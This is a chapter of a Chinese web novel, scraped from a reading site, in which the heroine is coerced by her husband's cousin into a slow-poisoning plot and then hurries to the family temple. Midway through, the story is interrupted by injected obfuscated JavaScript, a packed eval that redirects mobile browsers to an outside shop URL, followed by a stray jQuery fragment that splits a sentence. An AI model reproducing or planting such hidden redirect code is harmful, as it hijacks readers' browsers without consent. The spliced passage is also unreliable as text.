文趣网 > 其他小说 > 摆烂后妈在豪门发家致富 > 33. 老婆要谋杀亲夫
    安桐现在除了后悔就是后悔。

    早知道会遇到这家伙,今天她说什么也不会甩开保镖独自出门。

    可不对呀,谢屿洲那般手眼通天都没有发现她在听禅寺,这家伙又是怎么找到她的?

    眼下气氛紧张,安桐也没有更多的心思考虑这事,只想尽快平息这家伙的怒火。

    “我也没办法啊,谢屿洲让我去捞人,我难道还能跟他对着干吗?”安桐道。

    “他让你去死,你怎么不去死?”对方怒吼。

    安桐暗暗翻了个白眼。

    她回想视频中的内容,原主跟这人应该属于合作者,各有各的优势。

    她手里肯定有对方想要的资源,因此,她不必太过卑微。

    安桐学着视频中原主的语气,满不在乎地说:“谁还没个失手的时候?这次不成,下次继续就是。”

    “有了这次的教训,你以为谢屿洲还会给你下次机会吗?”男人厉声道。

    “那你说怎么办?”安桐问。

    男人面色阴沉,咬牙切齿地说:“与其对谢楚下手,不如直接收拾谢屿洲!”

    安桐心中咯噔一声,不敢表露出来。

    男人盯着她,撑着桌沿站起身,露出一抹狰狞的笑:“你现在如愿嫁给谢屿洲,是时候发挥你这位谢太太的作用了。”

    狗东西该不会是要她去害谢屿洲吧?

    安桐全身心拒绝,可对方一挥手,就有一名西装男从兜里取出一小瓶眼药水模样的药。

    “把这个加在谢屿洲的饮食里。”男人命令安桐,同时西装男将药送到安桐面前。

    安桐没接。

    男人自始至终没碰这瓶药,西装男则戴着手套。她要是接下这瓶药,就会留下指纹,跳进黄河也洗不清。

    “这没用,我没机会给谢屿洲下.药。”安桐说。

    “那是你的事。这药连续吃一个月,谢屿洲就会‘意外’猝死。下个月我要听到好消息。”男人的语气不容拒绝。

    安桐真想把药塞进他嘴里:“谢屿洲不吃我碰过的东西!”

    “我说了,那是你的事。”男人明显怒意未消,咬牙切齿道,“谢楚顺利走出警局、石柏爸妈又被你摆平,我两次做空谢氏都吃了大亏。要是下个月你没得手,我就把手里那些你跟我合谋害谢楚的证据都交给谢屿洲。”

    他说着停下来问安桐,威胁意味不言而喻,“你说到时候谢屿洲会怎么收拾你?”

    安桐脸色发白。

    到时候证据链被完善,铁证如山下,谢屿洲会弄死她。

    同时,听着对方提及“两次做空谢氏”,安桐终于猜出这人的身份——他叫谢均霖,是谢屿洲的堂兄。

    谢老爷子有两个儿子,分别是谢均霖的父亲和谢屿洲的父亲。

    谢氏的大部分资产,包括谢氏股权在内,原本都由谢均霖这一脉继承,谢屿洲这一脉只继承到少量股权和部分其他资产。

    等谢老爷子死后,两兄弟分家,谢屿洲这一脉会逐渐成为旁支。

    但谢均霖不当人。

    他贪得无厌,多次算计谢屿洲这一脉的家产,更是差点逼死谢屿洲的父母。

    在谢屿洲的反击下,谢均霖接连溃败,不仅资产大缩水,连最重要的谢氏股权都丢得一干二净。

    之后,谢屿洲全权掌控谢氏,将谢氏带上一个前所未有的新高度,才有了如今这般丰厚的家产。

    原文中,因为谢楚在这两件事中吃了大亏,谢均霖借题发挥,利用这些事操纵谢氏股价,确实让他成功做空谢氏,赚得盆满钵满。

    这人一直蹦跶到谢楚成年,最终被谢楚收拾,成为龙傲天男主成长路上的垫脚石。

    不过,原文中的谢均霖手脚健全,眼前这人怎么还带着拐杖?

    这个困惑一闪而过,眼前局势紧张,安桐也没心思细想。

    比起谢均霖的狠毒,原主那些手段完全上不了台面。

    安桐想不明白原主怎么会和谢均霖扯上关系,知道自己决不能登上这条贼船。

    她搜肠刮肚地想着推脱借口:“你也知道谢屿洲难对付,就给这点时间,我怎么可能完成任务?”

    “你要是做不到,那也没必要再浪费我的时间。”谢均霖一抬手,站在安桐身后的两人立刻架起她,不由分说地就把安桐往悬崖边拖,看架势是想直接把她丢下去。

    后山荒无人烟,她要是死在这儿,化成白骨了都不一定能被人发现。

    安桐怂了,忙服软:“一个月就一个月!我努力!”

    “哼,你明白就好。”谢均霖冷笑一声,重新给自己斟茶。

    保镖放开安桐,西装男走过去,强硬地把药瓶塞到安桐手里。

    谢均霖慢条斯理地喝了口茶,瞥了眼满脸怒容的安桐,施舍般开口:“放心吧,等谢屿洲死了,该给你的那份,我一分钱都不会少你。”

    我信你个鬼。

    安桐翻了个白眼,没有说话。

    谢屿洲如果去世,谢均霖第一个冲过来吃绝户,绝不会给她和谢楚留一毛钱。

    能让她和谢楚活着,都算他谢均霖得意忘形。

    安桐气冲冲地离开,一直快步走到香客往来的前殿,感受着四周的人声鼎沸,她才有种活过来的感觉,双腿发软地靠边坐下。

    手里的东西硌得她手掌生疼,安桐松开手才意识到是谢均霖给的那瓶药。

    她抬手就想丢入垃圾桶,即将松手时又停住。

    这东西毒性很强,不能随意丢弃,免得发生意外。

    可她又没有妥善处理的手段。

    “真麻烦啊。”安桐长叹一口气,抓着台阶旁的石头栏杆站起身。

    谢均霖还在这儿,她得赶紧跑。

    安桐一口气跑出听禅寺,正打算打车离开,惊讶地发现谢楚居然在门口的小卖部前吃雪糕,还是网红文创款。

    对方也发现了她,咬着雪糕走过来,好奇地问:“你不是说不来祭祖吗?”

    安桐忽然意识到什么:“你们在这儿祭祖?”

    谢楚以为安桐才嫁进来,不了解情况,解释道:“这是谢家家庙。既对外开放,也供奉谢家先祖。”

    昨天谢屿洲那句“你还知道避嫌”一下在安桐脑海中炸开,她突然意识到谢屿洲指的是她和谢均霖。

    既然是祭祖,那谢均霖这个“长房长孙”肯定会来。

    想必是谢均霖以为她会来祭祖,才准备好了毒.药,想暗中给她。

    结果她虽然没明着跟过来,却误打误撞来到同一处地方,正好被谢均霖抓个正着。

    可谢屿洲是怎么查到视频中的神秘人是谢均霖的?

    安桐觉得事情有些复杂了:“你爸还在这儿吗?”

    谢楚看了下

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709187|206452||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    手机上的时间,思索道:“他这会儿应该去经楼找住持说话了。”

    完蛋,她给爸妈做的法事就是找住持办的!

    ……

    经楼。

    木质的楼阁古色古香,经卷被整齐叠放在书架上,靠窗摆放着桌椅,供人研读经书或休息片刻。

    谢屿洲坐在窗边的太师椅上,正拧眉打量着手中的法事单。

    上了年纪的住持身披袈裟,坐在他对面,温声道:“正常来说,办法事便是希望亡者得到安宁、自身修持福报,家属不会写错名字,更不会把两个名字都写错。屿洲,你怎么想到问这个?”

    谢屿洲没有出声,手中的法事清单都快被他瞧出洞来了。

    这是安桐的那份法事单,所要超度的亡者是“安卫东”与“周秀兰”,家属落款则是“女儿安桐”。

    他已经让周立去查过,全国确实有同名同姓的人,但这些同名者里没有一对结成夫妻,更没有一位和名为“安桐”的人有关系。

    再想起暗中跟着安桐的人汇报她和谢均霖见过面,后者还给了她一瓶慢性.毒.药,要她谋杀亲夫,谢屿洲就感到烦闷。

    这些天与安桐的相处时不时映入脑海,每次想起她言笑晏晏,再想起她手中捏着谢均霖给的毒.药,谢屿洲的胸口就像是压着一块无形的石头,压得他喘不过气。

    他脸色发青,郁结在心的怒火发不出来,烦躁地把手中的法事单丢在方桌上。

    住持认出这是听禅寺的法事单,以为是给他的,顺手拿起来。

    只看了一眼,他便惊讶道:“安施主的法事单怎么在你这儿?是她不小心弄丢了吗?”

    谢屿洲意外:“你认识她?”

    住持颔首:“安施主前几天就约了今天为父母做法事,希望我来主持。但今天我得主持安家祭祖,便举荐了另一位师弟。”

    住持叹了口气,“这孩子也是可怜,12岁那年就没了爹妈,也不知道这些年是怎么熬过来的。好在她现在有出息,不仅能照顾好自己,还有余钱捐香火、做法事。她父母泉下有知,也能放心了。”

    谢屿洲的心忽然沉甸甸的。

    “她还说过什么吗?”谢屿洲问。

    “这我倒是不清楚。你怎么对这个感兴趣起来?”住持好奇。

    他与谢老爷子是亲兄弟,论辈分,谢屿洲得喊他一声二爷爷。

    因着这层血缘,住持看谢屿洲总归亲厚些。

    看着谢屿洲愁眉不展的模样,住持莫名觉得他和今早见过的安桐有些般配。

    但这个念头一闪而过,很快就被住持给否了。

    谢屿洲都多大了,配得上人家二十出头的小姑娘吗?

    住持妥善地收起法事单,想趁着安桐还没走远,尽快还给她。

    木质楼梯下方传来“噔噔噔”的急促脚步声,谢屿洲循声望去,就见一个毛茸茸的脑袋先一步蹿出来,随后安桐焦急的面容映入他眼帘。

    四目相对,安桐身子一僵。

    她紧赶慢赶,就想抢在谢屿洲前头与住持“串供”,怎么偏偏还是晚了一步!

    安桐转身就想下楼,假装自己从未出现。

    但住持也看到了她,高兴地冲安桐喊:“安施主,你来得正好,你的法事单掉了。”

    安桐:“我不是!我没有!您认错人了!”

    住持:“?”